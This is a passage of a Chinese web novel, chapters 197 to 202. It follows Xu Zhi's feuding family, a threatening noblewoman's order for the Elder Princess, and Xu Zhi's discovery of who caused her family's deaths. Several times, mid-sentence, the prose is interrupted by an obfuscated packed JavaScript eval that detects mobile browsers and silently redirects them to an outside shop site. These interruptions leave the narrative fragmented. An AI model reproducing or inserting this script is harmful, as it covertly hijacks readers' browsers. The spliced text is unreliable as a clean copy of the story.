就是王金宝和邓耧子忙,两人平时一出去送货就是大半天。 为了能让他们两个轻快些,许芷又招了两个专门送货的伙计。 如此,四个人分别管城里的四个方位,铺子里井井有条。 许老太和许过年做的事儿,被当时那个双羊村的人回去一宣扬。 大家对许家的怨气更深了。 甚至比之前更甚,一时间,上坪村的人都生气地找里正,非要把许老太一家轰出村里。 这时也才有人回过味,觉得许家老大,许留年跟许家分开的决定多么的正确。 还有人说只怕当时许留年就知道自己亲娘要对付亲侄女儿,怕惹祸上身赶紧跟家里撇清了关系。 第197章 分崩离析 许老太在家长吁短叹,大骂许芷,骂到了废寝忘食的地步。 甚至因为骂许芷,嘴上得了个大火泡。 疼的肿的吃东西都难,饶是如此,骂人的嘴也没停下。 许过年听的头大,拿着筷子敲了敲碗边,不满道:“娘,行了,赶紧吃饭吧,先别骂了。” “我偏要骂,几辈子出不来这种狼心狗肺、脏心烂肺的畜生丫头,那日竟然要把我送到官府。 你们谁见过要把亲奶奶送官府的孙女? 这可倒好,得了这么个孙女,一点福没享到,还想害了我,简直是奇耻大辱!” 许老太越说越起劲儿,口舌翻飞,大有停不下来说一天一夜的架势。 见说不动亲娘,许过年皱眉埋头快吃,想着快点吃完就不用受这个折磨。 而其他的人更是不说话,仿佛对这种情况已经麻木了。 直到吃完饭,小儿子许裕年冷不丁开口道:“娘,我也要分家。” “对,那丫头就是个丧门星...啥?你说啥?” 许老太不敢相信自己听到了什么,自己这个向来懂事听话的小儿子,竟然因为许芷也要跟自己分家。 许裕年脸色难看,但语气很坚定。 “娘,我说我要分家,我跟冬梅以后就自己过自己,不再给家里添麻烦了。” 分家的念头是周冬梅有的,只是他听到的时候直接拒绝了。 他觉得娘做的事儿虽然不对,可是总觉得不至于到了分家的地步。 要不然跟大哥一样,当时分了家村里的人都戳脊梁骨。 虽然现在也都说他是有先见之明,可是毕竟也是被村里人狠骂了几日。 他自觉不是那种能承受得了的性子。 可是这几日,他日日听到母亲这样偏执的骂着那丫头,他的心越来越沉。 只觉得母亲好似疯魔了,而且他有预感母亲不会甘心的。 迟早母亲还要做出更过分的事情,母亲也不是能劝的了的性子。 不是他不愿意跟家里人同甘共苦,只是他媳妇儿刚有了,他要为孩子打算打算。 不能让孩子生下来就面临困境。 何况真要是有了那种不可收拾的情况,他们分了出来,家里人也不至于都按进去。 所以他才坚定了想法,一定要分家。 分了家日子虽然不好过,但起码能过下去。 只是要是任由母亲这样,一家人不知道能成什么样子。 许老太痛心疾首的指着小儿子许裕年吼:“你个没良心的,就因为这种事儿你就要跟娘分开是吗?” 许裕年为难的开口道:“娘,儿子也劝你一句,到此为止吧,别再沾染那孩子一点,你这不是为难她,是在为难自己,为难咱们许家。” 这话说完,许老太还没说话,许过年轻蔑的嗤笑一声。 “咱们许家?老四你有什么资格说这种话,你都要出去了,跟俺们撇清关系,还说什么咱们。” 说着,许过年把筷子一摔,生气的说道:“还有谁想分家,二哥你要是也想走,你也赶紧走,带着你的孩子赶紧滚。” 场面因为许过年突如其来这一下,变得无比难堪。 许富年当然不可能走,他媳妇儿还没回来,他出去谁给他做饭? 还不如呆在这儿,一家人应当同心同德。 他拿这话劝许裕年,这个道理老四当然懂,但是他实在是不敢赌。 所以还是毅然决然的带着媳妇儿离开了家。 再一次吃饭的时候,看着几乎少了一半的人口,许老太故意说道:“正好,少了这些人,家里还省了粮了。” 只是看着老二许富年的三个孩子,孙子许岸就不说了,这可是这一辈唯一的孙子。 就是这孙子性子软弱了点,随了那个贱女人。 可是这两个孙女她是真不喜欢。 长得跟那个柳珍儿一模一样,一点不像许家人。 还是个什么都不会的性子,那死女人什么都不教两个女儿。 说什么不能让女儿跟她一样管着全家的事情。 这么说着,她对着两个孙女生气道:“吃吃吃,还有脸吃,你们俩的娘都把你们丢在这不要了,你们俩还能吃得下去饭。 两个丫头赔钱货,天天占着家里的粮食,我就是喂狗都比给你们俩好。” 许汀和许兰听到本就讪红的脸,压得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许芷看清来人的瞬间,她所有的气血都翻涌上脑。 就像是猛然出汗之后,落汗的时候会觉得冷,许芷控制不住地浑身颤抖。 牙齿无意识紧紧咬着,脸颊都绷得发白。 心里好像几百只兔子同时蹬踹,心跳快得好像下一刻就会晕倒。 鼻子剧烈又急促地呼吸着,眼睛瞪大了之后又轻轻眯着。 手里刚称好的药材都掉在了地上,可她好像没察觉。 还是手里的称药材的戥子掉在了地上发出“哐当”的声音,王茹娇才注意到许芷不对劲儿。 她是示意刘喜英上前去招呼贵客,而她走到了许芷的身边。 脸上对来人挂着和善的笑容,却悄悄靠近许芷担心地低声问:“小芷,你怎么了?” 可却迟迟没有听到许芷回答,她疑惑地扭头看过去。 只见许芷好像被定住了,王茹娇轻轻地用手肘碰了碰许芷,担心地看着她问。 “小芷,你没事吧?” 许芷这才好像回了神,眼神又恢复了那没什么起伏的样子。 摇摇头,淡淡的回答道:“没事。” “可你刚刚——” “真没事,刚刚...刚刚是突然有点偏头痛,这会儿好多了。” 王茹娇还是觉得不对劲儿,想问却被许芷截住了话头,她只能按下了心中的怪异。 许芷的态度也很奇怪,有一种不想她问的坚决感。 所以为了这个,她也不打算再问了。 被这戥子吸引目光的不止王茹娇一个,还有刘喜英接待的贵客,此时目光也放在了许芷的身上。 那目光轻蔑至极,又带着几分高傲。 她轻蹙着眉头,姣好的面容上都是嫌弃。 苏白薇轻轻地用葱白嫩指捻起手帕挡在了鼻子前,状似无意但又挑剔地说了句。 “还以为是个什么好铺子,不过如此嘛。” 听到这话,苏白薇身边跟着的四个婢女,很是上道的将铺子里其他的客人都赶走了。 本来还有几个不服气的,说什么开门做生意,他来买东西凭什么让他走。 只是再看到婢女拿出的银子时,瞬间噤了声,笑呵呵的接过银子给她们腾地方。 等到客人都走光了,两个婢女回到了苏白薇的身边。 剩下的两个跟两个拿着刀的侍卫一起站在了铺子门口,挡着不让人进来。 要不是苏白薇不喜欢遮了光的暗室,只怕如今的铺子门板都要扣上,不留一点缝隙。 而本来还笑的很有诚意接待她的刘喜英,听到苏白薇这话笑容僵了一瞬。 但是秉持着开门做生意要笑脸相迎的理念,她还是很快地调整过来问道:“这位夫人,请问你要买什么?” 问完想到没见过苏白薇,这样一看就是有身份地位的人,这城里就那么几户,都来他们铺子买东西。 她不会不认识,所以一定是慕名而来的,所以她调整了问话,又问道:“如果头一次来不知道买什么,我给您介绍一下,您看行吗?” 苏白薇施舍一样地瞥了一眼刘喜英,十分目中无人的忽视了她的问话,而是伸出手往前一指,不情愿地开口命令道: “我要她来招待我。” 刘喜英和王茹娇顺着手指的方向看过去,有些为难的看向许芷。 不过片刻,许芷没了刚刚那怪异的样子,而是牵起一抹笑容,客气道:“当然可以,这位夫人请问您需要什么呢? 我们铺子有沐浴的皂儿膏,专门洗头的膏沐,驱寒的泡脚包,还有各种功效的香囊,不知您想要什么?” 许芷说着走上了前,来到了苏白薇的身边,那样子很是客气礼貌。 甚至让王茹娇有了种错觉,那就是刚刚失态的许芷是她看错了。 而苏白薇看到恭敬的许芷,只是掀起眼皮问道:“你,就是许芷?是你开了这乾坤铺子?” “回夫人的话,正是在下。” 许芷谦卑的回答道。 苏白薇看着她这幅样子很是满意,不屑一笑:“我看着店里也不怎么样嘛,竟然卖的东西都传到了京城。” 听到这话,王茹娇和刘喜英都骄傲地忍着笑,两人互相看了一眼,眼底的喜悦之色都遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215707|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住。 但是碍于苏白薇在这里,两人只能忍着,不让自己看起来太过于得意忘形。 可苏白薇身边的许芷听到这话,没什么反应,只是淡然一笑。 谦**口道:“能得大家青睐是我运气好,京城什么没有,不过是看我这玩意儿图个新鲜罢了。” 这话倒是愉悦了苏白薇,她嗤笑一声,毫不避讳道:“还算你这丫头有自知之明,你这东西在我看来那跟地上的泥没什么区别。 要不是长公主看上了你那水中月,我断是不会踏入你这铺子一步。 不过是泡脚的东西,我当多珍贵呢。” 说着抬手示意身边的婢女去马车里拿了东西过来。 婢女采荷很快回来,手里拿着一个小箱子,来到了许芷的面前。 打开之后,里面放着金线、一块云锦纱和一百两银子。 虽然王茹娇和刘喜英不识那云锦纱,可是那金线和一百两银子两人可认得。 暗暗地吃了一惊,没想到这人出手这么阔绰。 苏白薇下巴指了下箱子里的东西,开口道:“用这金线和云锦纱制一份独一无二的水中月。 这可是给长公主用的东西,你可得尽心尽力,材料我都给你备好了。 这一百两银子是定金,做的满意还有厚赏。” 王茹娇和刘喜英更加吃惊了,这一百两银子竟然只是定金! 只是两人还没惊讶多久,就听到苏白薇继续说:“可若是做的不满意,我把你的头砍下来挖空了做成药罐子,给长公主熬药。” 她说着脸上的笑容更深,眼神里的威胁之意,让王茹娇二人背后发凉。 苏白薇说话的语气太过于平常,好像在说买什么东西,吃什么饭一样。 平常到让人差点忽略了这话是多么的恐怖和恶毒。 王茹娇害怕的吞了口唾沫,走到了刘喜英身边,两人互相握着手安慰着彼此。 而许芷听到也没有多大的情绪起伏,跟苏白薇一样,脸上的笑容不减,开口应下。 “请夫人放心,我一定会让您和长公主满意的。” 第199章 吃瓜二人 听到许芷应了下来,面色还没有多大的变化。 苏白薇反而有些不满意,但她同时也觉得这小丫头真是不知道天高地厚。 还真以为是来了单大买卖,长公主出了名的挑剔,到时候不满意,她死都不知道**的。 想到这,苏白薇没了那点不满意,轻嗤一声:“那我就拭目以待了,正好长公主前段时间碎了个药罐子。” 说完没有停留,立马带着婢女走了。 好像他们这地方是什么污秽之地一般。 看着她离开的背影,王茹娇焦急地走到了许芷的身边。 看到苏白薇走了之后刚想开口,门前又停下了一辆马车。 这次王茹娇不必等着人下来,她就知道来人是谁。 马车上怀清堂的标识很是显眼,果然下一瞬,宋清奕匆匆从马车上赶了下来。 他三步并两步,快速到了许芷的面前。 眼神里的担心和害怕根本藏不住。 王茹娇刚想问他来做什么,是不是要买东西。 就看到宋清奕抓住了许芷的手,焦急地问道:“是不是她来了?有没有为难你?” 说着懊悔的自言自语道:“是我来迟了,我得知这个消息的时候已经赶紧往这里赶了,可是我晚了一日。 来的路上我好怕,我好怕十年前的情况再次出现,我怕我又见不到你。” 说着他竟是想要将许芷拥入怀中。 只是许芷退后一步,他猛然意识到什么,才止住了自己的步伐。 宋清奕立马低头歉疚地解释:“我只是担心你,并未想到其他......” 闻言,许芷只是嗯了一声,没再说什么。 而宋清奕看着她清冷的面庞,微不可查的叹了口气。 他又回头看了一眼震惊又好奇的王茹娇和刘喜英,知道这不是说话的好地方 所以他再度转过头看向许芷,语气里带了些祈求道: “我们借一步说话好吗?” 许芷呼出一口气,没有回答,但直接走出了铺子,意思很明显了。 看到许芷这无声的回答,宋清奕的眉头舒展了些。 立刻跟了出去,出去前还不忘跟王茹娇二人微笑示意他要暂时带走许芷。 王茹娇和刘喜英呵呵的笑着,让他们两个放心去,她们俩会看好铺子的。 宋清奕微笑颔首,立马跟着许芷进了马车,动作之迅速令人咂舌。 看着马车也缓缓地离开了铺子门口,王茹娇和刘喜英两人才逐渐缓过劲儿。 今日两人先是见到了个贵客,那妇人一看就是高门大户出来的。 穿戴都是她们两个从来没见过的样式,那金簪满头简直晃眼。 给了乾坤铺子一个大单子,可同时又是一个陷阱的感觉。 那妇人说什么满不满意的,这谁能保证呢? 万一到时候他们忙天忙地,给她做出了独一无二的水中月。 可只要这妇人说一句不过如此,就跟今日那般嫌弃之色一般,岂不是她们接了个**烦。 那人可说了这是长公主要的东西,长公主何许人也啊。 那可是当今皇上的亲姑姑,听说除了皇上她一手遮天,是本朝唯一一个手眼通天的女子。 何况那妇人说话如此过分,从头到尾就没看得起他们。 那话看似是威胁,可是她们两个有预感,这人真的能做出这种事儿。 两人有心替许芷出头,可是又怕莽撞之后惹到了这妇人背后的长公主,那才是惹了**烦。 所以王茹娇和刘喜英只能忍着,两人有心想让许芷别接这麻烦。 可当时的境况不容许两人插嘴进去,没法说什么。 好不容易把那尊大佛送走了,王茹娇和刘喜英心想赶紧跟许芷商量商量对策,却没想到怀清堂的掌柜来了。 那样子看起来很为许芷担心,还直接抓上了许芷的手,甚至想要把人拥进怀里。 她们两个在旁边看得目瞪口呆。 竟不知许芷何时跟这怀清堂的东家关系如此亲密,倒像是夫妻一般。 如此两人呆愣在一边,实在忘了该如何反应该说些什么。 只能等到人走了,两人还紧紧拉着手看着门外马车消失的方向。 “嫂子,我没看错吧?” 王茹娇呆滞地问出这话之后,刘喜英也跟着问道。 “娇娇,小芷怎么跟那怀清堂的掌柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220253|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么奇怪呢?” “你也看到了是吧,不是我多想!” 王茹娇激动地更加攥紧刘喜英的手。 刘喜英愣愣地点了点头,嗯了一声,久久不能回神。 直到外出采购东西的孟雨兰和一个帮她搬东西的伙计回来,两人还是呆愣的样子。 孟雨兰疑惑地上前问道:“铺子这会儿怎么了?怎么一个人都没有。” 往常铺子里不说时时刻刻都人满为患,起码也是络绎不绝,从来没断过客人。 可这会儿铺子里除了刘喜英和王茹娇竟是一个客人都没有。 虽然也没看到许芷,但是孟雨兰只当许芷是去后面做什么东西了。 孟雨兰进了柜台,将东西放好,却看到了一边的箱子。 打开一看,震惊不已。 她可是认识这云锦纱,号称千金一米。 “这纱哪来的?” 等着王茹娇两人给自己解惑的孟雨兰,等了半天也没等到王茹娇回答。 她让伙计虎子先把买回来的东西放到后院收拾好,而她用手在愣神的王茹娇和刘喜英眼前挥了挥。 “干什么呢?被仙人定住了?” 如此王茹娇两人才回过神,看到孟雨兰还有点疑惑。 刘喜英开口问道:“小兰,你啥时候回来的?” “我都回来一会儿了,问你俩也不说话,就这么在这站着,怎么回事儿啊?” 孟雨兰没好气地说着。 又指了指铺子,不解问道:“平时铺子里哪断过人,这会儿怎么一个人都没有了?” 不问这个还好,一问这个,王茹娇和刘喜英都摆出了一副不可思议的神情。 这可把孟雨兰好奇坏了,“到底是咋了?你们俩怎么这副表情?” 王茹娇和刘喜英两人都着急地想要说明情况,可是两人着急忙慌的说了一通。 孟雨兰不仅一点没听懂,还因为两个人嘈杂的声音吵得自己头疼。 无奈她伸出手在两人之间,让她们先停下。 “好了!好了,我没听懂,你们两个不要一起说,一个一个来,娇娇先说。” 被指定的王茹娇吞了口唾沫开始讲今天的事情。 第200章 再次谈崩 上了马车,许芷坐在角落里,闭着眼睛假寐。 很快就感觉到有人掀开帘子走了进来,宋清奕坐在了她的身侧。 许芷不动声色地往里面又缩了缩,宋清奕僵了一瞬,但还是很快恢复了面色。 他轻声开口吩咐道:“回去。” 声音落下,马车车轮应时转动,许芷睁开眼看到帘子随风掀起,街上行人匆匆,许芷面色凝重。 她能察觉到身侧的那道视线,一直在自己身上。 可是她不想现在就面对,更没有心情去面对。 很快马车到了怀清堂的后院,宋清奕先下了马车。 许芷紧跟其后,看到宋清奕站在马车边,对她伸出手。 她愣了一瞬,转身从另一边直接跳了下去。 看起来放纵不羁,没有一丝一毫从前那般大家闺秀的模样。 可宋清奕看到却微微勾起了唇角,觉得她这个样子活泼又可爱。 他在前面走着,许芷紧跟在身后。 两人进了他的茶室,他吩咐人泡上茶之后,帮许芷拉开了凳子。 但是许芷无视了他手里的凳子,转身坐到了对面的位置。 冷淡开口:“想要说什么直接说吧。” 宋清奕微不可查地叹了口气,大马金刀地坐在了许芷的对面,刚刚他拉开的凳子上。 缓了口气,开口问:“长公主和世子的事情你知道多少?” 许芷不解地皱眉看向他,诚实道:“除了之前的逍遥馆,其他之事我并不了解。” 闻言,宋清奕更不解,虽然不想戳她的痛处,但是还是犹豫地问出了口。 “当日,你知道火灾之事时,口中所说的心狠手辣之人是谁?” 提到火灾许芷的脸色更差了,她没好气地回道:“跟你有什么关系!” 宋清奕丝毫不在意许芷这气冲冲的语气,反而继续说道:“这很重要,我需要知道你到底知道多少?这样我才能帮你!” “你又知道多少?” 许芷反问回去,眼神里都是防备和倔强,这样子看得宋清奕心里一痛。 但他现在不是沉溺于情绪的时候,宋清奕开口道:“你也知道那逍遥馆背后之人是长公主,我不愿意牵扯其中就是怕你惹到了长公主。 依照你现在的身份根本抵抗不了她,毁了她赚钱的生意,想要对你做点什么太容易了。 但是我阻止不了你,只能尽力保你,可是长公主已然知道了。 你不知道我在京城知道长公主派了人过来的时候,我的心直接停跳一瞬,我怕来晚了一步,我就会再次失去你,我——” “好了,你说重点。” 许芷有些不耐地打断了他,“我来不是为了听你的剖白,是为了了解情况的。” 宋清奕的话堵在了嗓子眼,他愣神片刻,一时不知道该说什么。 这时泡好了茶的仆人将茶水送了进来,打破了两人的尴尬局面。 等到仆人出去后,宋清奕开口道:“尝尝,这是你从前最爱喝的茶。” 许芷抬手拿起了面前的茶杯,熟悉的香味扑面而来。 她缓缓喝了一口,眼睛模糊了些许。 “刚刚你说我对长公主的事情了解多少,又问到了我上次的反应,看来那场大火不似我想的那般简单,你知道什么,是吗?” 她放下了茶杯,目光锐利地看向宋清奕。 宋清奕低头躲开了眼神,许久,才缓缓开口道:“当时你说了她,我以为你知道什么,可是刚刚听了你的话,我才发现你应当不知道。” “所以那场大火到底怎么回事?” 许芷抬眼看向宋清奕,轻轻吐出一口气,像是做足了准备要听一听宋清奕口中的真相。 其实她根本不知道这个真相是什么样子,可是宋清奕提到了长公主,还特意提到那日她的反应。 稍微一多想,许芷都会把长公主和那场大火联系起来。 所以根本不是许芷想的那么简单,只是苏白薇的事情。 她有一种预感,这背后的真相要比她想的更加残酷和冷血。 可是她必须知道,这一家人的血海深仇不得不报! 宋清奕踌躇一瞬,还是开了口:“你这么聪明,应当想到了这件事跟长公主有关。” 闻言,许芷点了点头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220254|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “确实想到了,你继续说。” 宋清奕深吸一口气,再看向许芷眼神里是无限的心疼。 他调整着呼吸,开口先问了许芷一个问题。 “在我说之前,我想问清楚,庆历十一年,你去京城退婚到底发生了什么? 为什么你会一去不复返?为什么再见到你就是十年后,你以这样的面貌出现? 到底...发生了什么?” 随着这个问题问出口,许芷的呼吸也急促了些许,眼底明显多了丝恐惧和更多的愤怒。 好像是一瞬间的事情,宋清奕在许芷身上感受到了前所未有的气场。 他刚想再说些什么,只见许芷腾的一声起来。 冷冷的丢下一句:“就算你不说,我也可以自己查。” 说完就要出门去,宋清奕始料未及,他急忙站起身抓住了要逃走的许芷。 “为何?为何你总这样?我只是想知道发生了什么,我想要帮你。” “你想,并不代表我需要,你跟我还是少接触为好。” 许芷脸色不是一般差,丢下这一句,奋力想要甩开宋清奕抓着自己的手。 可是向来温文尔雅的男人,此刻好像猛兽一般的压迫着许芷。 他的手好似铁钳,紧紧的禁锢住许芷的手腕,怎么都甩不开。 许芷瞪着他,怒道:“放开我。” “不放!我想知道到底怎么了?” 宋清奕很坚持,他真的很想知道发生了什么。 她**十年,整整十年! 天知道他这些年,连她的遗体都找不到,有多么的痛苦和无助。 而她再回来就是这么个小姑娘的样子,完全的陌生人,这让他怎么能不去问。 许芷重重地吐出一口气,说出口的话像利剑。 “你想要我的命吗?如果我说,你知道了这些对我来说是如同再死过一次呢!” 听到这话,宋清奕好像抓住了什么烫手的东西,惊愕的松开了她的手。 意识到自己想要知道真相的意图,对许芷来说是再一次的伤害,宋清奕他的心里好像压上了千斤重的秤砣。 第201章 姐妹齐心 最后,宋清奕看着许芷要离开的背影,快速说道:“那场大火乃是长公主授意。 你如今身份悬殊,切记不要轻举妄动,等我弄好一切,我给你复仇。” 闻言,许芷停顿了一瞬,她侧过脸好似看了一眼宋清奕。 可视线始终没有直接投射在他的身上。 说出口的话依旧是冰冷疏离的。 “我的事,你不必管。” 说完,头也不回的离开了这里。 回去的路上,许芷思绪万千,她还以为这一切都是苏白薇为了掩人耳目所做。 却没想到竟然是长公主的手笔。 她的家人是被长公主所害,但无妨,苏白薇和长公主命运相关。 许芷心想自己的复仇大计只怕是要调整一下了。 她从前只想着能把苏白薇给千刀万剐便可,可现在不是那么简单的事情了。 想到来铺子里的苏白薇,许芷恨得牙痒痒。 既然她要讨好长公主,那么自己就该成全她。 祝她一臂之力,好好地讨好长公主。 这么想着她就回到了铺子。 而铺子里一脸八卦和愤愤不平的王茹娇三人见到许芷回来了,八卦之魂熊熊燃烧。 虽然对苏白薇的愤怒也占了情绪的大头,可是这会儿更像问许芷跟怀清堂的东家宋清奕到底是怎么一回事。。 王茹娇跟刘喜英和孟雨兰对视一眼,上前将神色冷淡的许芷拽到了桌子旁,按着她坐下,又给她倒了杯茶塞进了手里。 塞进去的时候,王茹娇才发觉许芷的手是那样的冰凉。 这时候,她才意识到许芷的脸色都是苍白的。 又想到今日许芷见到那妇人的失态,她心里疑窦丛生。 她想八卦的事情怎么都问不出口了,反而换上了对许芷的关心。 “小芷,你今日到底是怎么了?我从未见你如此失态。 你出去跟那怀清堂的东家都说了什么,为什么脸色如此之白?” 而本来刘喜英和孟雨兰还想说王茹娇怎么不按她们三个商量好的问,可听到许芷脸色白,两人也立马换上了担忧之色。 刘喜英也担心的问道:“许丫头,有啥事儿就说出来,咱们一起解决。” “对啊小妹。” 孟雨兰也紧跟其后的说道:“咱们这铺子也算是风风雨雨都经历过,若是有什么事儿,你可千万别憋在心里,想着自己一个人扛。 不都说三个臭皮匠顶个诸葛亮,说出来咱们一起面对。” 许芷看着三人担心的样子,心下一暖,努力挤出一抹笑容。 尽管自己心里还难受着,可是她却开口宽慰三人道:“没事,我就是发愁那独一无二的水中月该如何弄。” 一听许芷是为了这个发愁,王茹娇三人瞬间松了口气。 “嗐,就这件事啊,小芷这你还愁什么啊,你向来都是敢想敢干的,没有您想不到的东西。” 王茹娇言语里皆是对许芷的崇拜和敬佩。 刘喜英也跟着说:“是啊,许丫头你的想法一直都那么厉害,都是我们从来没想到,也不敢想的,我相信你。” 而孟雨兰则是直接提出了解决办法。 “这好弄啊,反正这泡脚的东西,能有多出挑? 药材都是一样的,无非就是在装药材的纱布和礼盒上做文章。 纱布好说,这人送来了最贵的云锦纱,我好好想想怎么绣个独一无二的东西上去。 而小妹你就好好想想该怎么弄个天下独一份的礼盒装着就行。” 听到孟雨兰的话,王茹娇和刘喜英都纷纷看向许芷,觉得孟雨兰说的不错。 听起来好像是不难解决的。 而许芷看着三人努力为自己解决的样子,点了点头。 “雨兰姐说的不错,今晚我留在铺子好好想想,你们都回去吧。” 王茹娇一听立马表示自己要留下,陪着许芷。 “你一个人住在这多害怕呀,这么多房间,万一藏个什么怎么办? 有我陪着,两个人不比一个人强?” 她找的理由很是牵强。 牵强到许芷直接就否了。 “不用,我需要一个人好好想想。 而且刘婶子和两个孩子都在这呢,怎么会是我一个人呢? 而且真要是不放心,我让舅舅留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225799|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来就好,我们两个女子留在这,真要是遇到了什么,岂不是更危险?” 正好邓耧子回来了,他的视线先落到了刘喜英的身上。 察觉到他的目光,刘喜英轻咳一声避开了。 而看到她避开,邓耧子才移开了眼神,笑着走到了许芷的边上,不动声色的离许芷身边的刘喜英近了点。 只是刘喜英突然起身喃喃道:“我去后面帮你收拾一下,省的晚上还得收拾。” 说着就出去了,邓耧子的眼神里多了丝黯淡,但还是很快撑起来问道:“你们说什么呢?我听到小芷叫我了,晚上要住这里?” 许芷嗯了声,开口道:“舅舅今晚跟我一起住在这看铺子吧。” 这不是什么难为的请求,何况刘喜英也在这里住,所以他答应的很爽快。 “行,晚上我也留下。” 说着他撇眼看向了院子里忙碌的刘喜英,心里有自己的想法。 夜晚,许芷躺在床上久久不能入眠。 她心里乱的很,从前她的复仇计划只是针对苏白薇一人。 而现在加上了长公主的话,那就完全不是一回事了。 长公主被称为女子第一人,权势滔天,就连皇上都要看自己这个亲姐姐的面子。 面对如此强势的敌人,自己该如何去做,才能让她们付出代价? 思绪混乱的她,起身打开屋门,不想惊动其他人,摸黑打算去前厅拿一壶酒。 寻思着直接干了,昏昏沉沉的睡去。 拿到了酒,许芷当时就灌了一口。 腊月的冷风一吹,酒劲儿立马就上来了。 她不是很清醒的往房间走去,下一瞬自己的手却被**力的握住。 许芷立马清醒,背后一身的汗。 却在转身看到了一身酒气的宋清奕时,瞬间松了一口气。 她轻声质问:“你干什么?” 还要看着别吵醒了舅舅和刘喜英几人。 宋清奕不说话,一双通红的眸子紧紧盯着她,月光下,他的眼睛好像蒙上了一层雾,使的眼底的红色更加显眼。 他猛然一拉,许芷不防,手里的酒瓶碎裂在地。 第202章 尴尬场面 静谧的夜里,酒瓶碎裂的声音,就好像是一道闪电闪过了所有人的眼前。 让人猛然睁开眼,生怕发生了什么。 很快,刘喜英和邓耧子各自的房间里,都响起了稀碎的声音。 许芷生怕宋清奕大晚上来找自己的事情被人发现,她慌忙带着人进了自己的房间,拴上了门。 而门外的邓耧子和刘喜英一块开了门,两人看到对方皆是一顿。 刘喜英尴尬的摸了下脖子,轻咳一声解释道:“我就是听到了什么东西碎了,怕许丫头出事所以出来看看。 既然你也出来了,那我就不去了,你去看吧。” 说完不等邓耧子回答,她迅速关上了门,不给邓耧子说话的机会。 邓耧子刚伸出去的手停在了那里,嘴里还没说出去的话也跟着咽了下去。 听到对方的屋里彻底安静了下来,邓耧子垂下眼皮失落的轻叹一声。 上次吵过之后,两个**半年了,都是这样别别扭扭。 他很想承认自己错了,可是始终没有好时机。 刘喜英也总是躲着自己,他心里难受也没办法。 他没有一日不后悔自己当时的作为,简直是鬼迷心窍,竟然那样说话。 要不然这快过年了,他估计都该带着刘喜英跟家里坦白了。 想到这,邓耧子又叹了口气,才出来看看到底是怎么回事。 而房间里面的刘喜英藏在窗户边,悄悄看着邓耧子的身影,眼底有水花闪过。 自从两人闹了矛盾之后,刚开始她在城里,邓耧子偶来铺子里,也就没什么感觉。 可是最近一段时间,邓耧子一直在铺子里帮忙,每天来来往往她每次看到他心里都酸楚无比。 她一个寡妇,接受一个男人不是容易的事情。 这背后她的考量可比邓耧子多得多,她算是豁出去了,才同意和邓耧子一起。 没想到在一起不过半年就分开了。 看来是她想得太简单了,她始终是个寡妇,跟普通的姑娘不一样。 她有两个孩子,不可能不考虑孩子,所以两个人就这样吧,之前的一切就当是自己做了场梦。 这边邓耧子刚走到院子,就能看到月光下碎裂的酒瓶。 他心下一惊,生怕是许芷出了什么事。 急忙走到了许芷的门外,先谨慎的靠近了门板,支着耳朵听一听里面的动静。 可是听了半天什么都没有听到,他轻轻抬起手敲了敲门,“小芷,小芷?” 问完又支着耳朵去听。 没让他等太久,就听到了许芷平静的声音。 “舅舅,怎么了?” 邓耧子继续开口问:“没事吧,小芷,我看院子里有酒瓶子碎了。” 许芷刚想回答,身后挡着的宋清奕突然靠在了她的肩头。 她心里咚咚急促两声才恢复了平常。 “怀夕...” 宋清奕清冽的气息混着冷厉的酒气,喷洒在许芷的脖颈之间,她的身上密密麻麻的泛起了鸡皮疙瘩。 她竭力控制住自己,不让自己太失态。 而门外的邓耧子等了半天都没听到许芷的回答,心凉了半截,生怕许芷出了事儿。 他焦急地询问:“小芷?你没事吧?” 